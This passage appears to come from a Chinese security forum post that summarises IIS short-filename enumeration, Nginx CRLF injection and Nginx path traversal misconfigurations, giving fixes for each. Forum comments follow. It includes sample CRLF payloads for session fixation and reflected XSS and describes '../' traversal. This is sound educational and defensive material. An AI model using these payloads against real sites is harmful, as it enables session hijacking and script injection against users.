访问[url]http://10.10.10.136/A[/url]/a.aspx,存在,返回状态码404

访问[url]http://10.10.10.136/B[/url]/a.aspx,不存在,返回状态码400

访问[url]http://10.10.10.136/AA[/url]/a.aspx

就这样猜解下去,可以实现暴力猜解后台地址等,也可以利用脚本进行猜解。

修复方法 方法一:

升级.net framework; 方法二:

修改注册列表

HKLM_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation的值为1;

将Web文件夹复制到另一个新路径备份,将原来的文件夹删除,再将备份文件移动到原来路径下。

再次访问

[url]http://10.10.10.136/A[/url]/a.aspx

[url]http://10.10.10.136/B[/url]/a.aspx

备注 如果你的web环境不需要asp.net的支持你可以进入Internet 信息服务(IIS)管理器 --- Web 服务扩展 - ASP.NET 选择禁止此功能。

Nginx

Nginx配置错误

CRLF

CRLF回车+换行(\r\n)的简称;

HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并且显示出来通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话或者HTML代码比如就可以实现会话固定等等

漏洞成因

CRLF会话固定

通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话或者HTML代码,并且使用了解码的URI跳转

构造请求头

%0a%0dSet-Cookie:JSPSESSIONID%3D360

CRLF注入导致的反射型XSS ​ 使用了解码的uri跳转

$uri:解码后请求路径,不含参数;
$document_uri:解码后请求路径,不含参数;
$request_uri:完整的URI,不解码

%0d%0a%0d%0a<script>alert(2)</script>

配置不当导致目录穿越

Nginx开启了反向代理,静态文件存储在/home/文件下,访问时在url中输入files即可访问

但是,files没有用/闭合,导致在url后加 ../等也可以被执行,从而导致了目录穿越

环境搭建

docker-compose up -d

利用方法

目录穿越

正常访问

构造url,实现了目录穿越

修复方法

CRLF

修改配置文件,使用不解码的uri跳转

修复效果

目录穿越

在配置里,将files用/闭合

修复结果

备注

URL编码

%0a 换行符

%0d 回车符

%3d =

整理这么多手都麻了,目前总结的就这么多了,若有错误请各位大佬多多指教!

关于作者

yifan1012篇文章41篇回复

一凡人,亦凡人

评论6次

要评论?请先  登录  或  注册
  • TOP1
    2018-12-14 16:29

    谢谢建议,接下来有时间的话再总结几篇。中间件或容器这些漏洞挺多的,我只能尽力总结了

  • 6楼
    2018-12-14 21:47
    枫叶

    写得挺好,我有个小问题:中间件,WEB容器,WEB服务器,WEB框架他们之间有什么区别和联xi?

    1

    您好,我之前对它们了解有些模糊,不过经过一番学xi,我的理解是这样的,Web服务器简而言之是指用来搭建网站的服务器,提供网上信息浏览服务,具有较好的通用性和跨平台性,比如Apache和IIS;中间件是介于服务器和应用程序之间的产品,可适用多种平台,连接了它的上层的应用程序和下层的操作xi统,实现了底层的操作,如交互、通讯、连接等,常用的如Apache、MySQL、Oracle等,举个例子,比如写一个简单的网站,那么我们只需要将代码部署好,而这些代码文件的解析及数据的处理等操作交给中间件就可以了;Web容器包含于中间件中,如Java的Tomcat;最后Web框架,我查了下百度百科,这样说,用我自己的话来说,还是拿个例子来说,就是给了我们一个房子的构架,具体房子需要装修成什么样子,每一间什么样的功能,这些都需要开发人员在框架的基础上来搭建了。如果要排个包含关xi的话,大概就是中间件>Web服务器>Web容器>Web框架

  • 5楼
    2018-12-14 16:29
    younge

    楼主还可以总结下,jboss、weblogic、glassfish、resin等java中间件。

    1

    谢谢建议,接下来有时间的话再总结几篇。中间件或容器这些漏洞挺多的,我只能尽力总结了

  • 4楼
    2018-12-14 16:19

    楼主还可以总结下,jboss、weblogic、glassfish、resin等java中间件。

  • 3楼
    2018-12-14 15:59

    写得挺好,我有个小问题:中间件,WEB容器,WEB服务器,WEB框架他们之间有什么区别和联xi?

  • 2楼
    2018-12-14 13:41

    总结挺全的,已加入收藏夹

  • 1楼
    2018-12-14 13:05

    可以考虑做一个知识库了。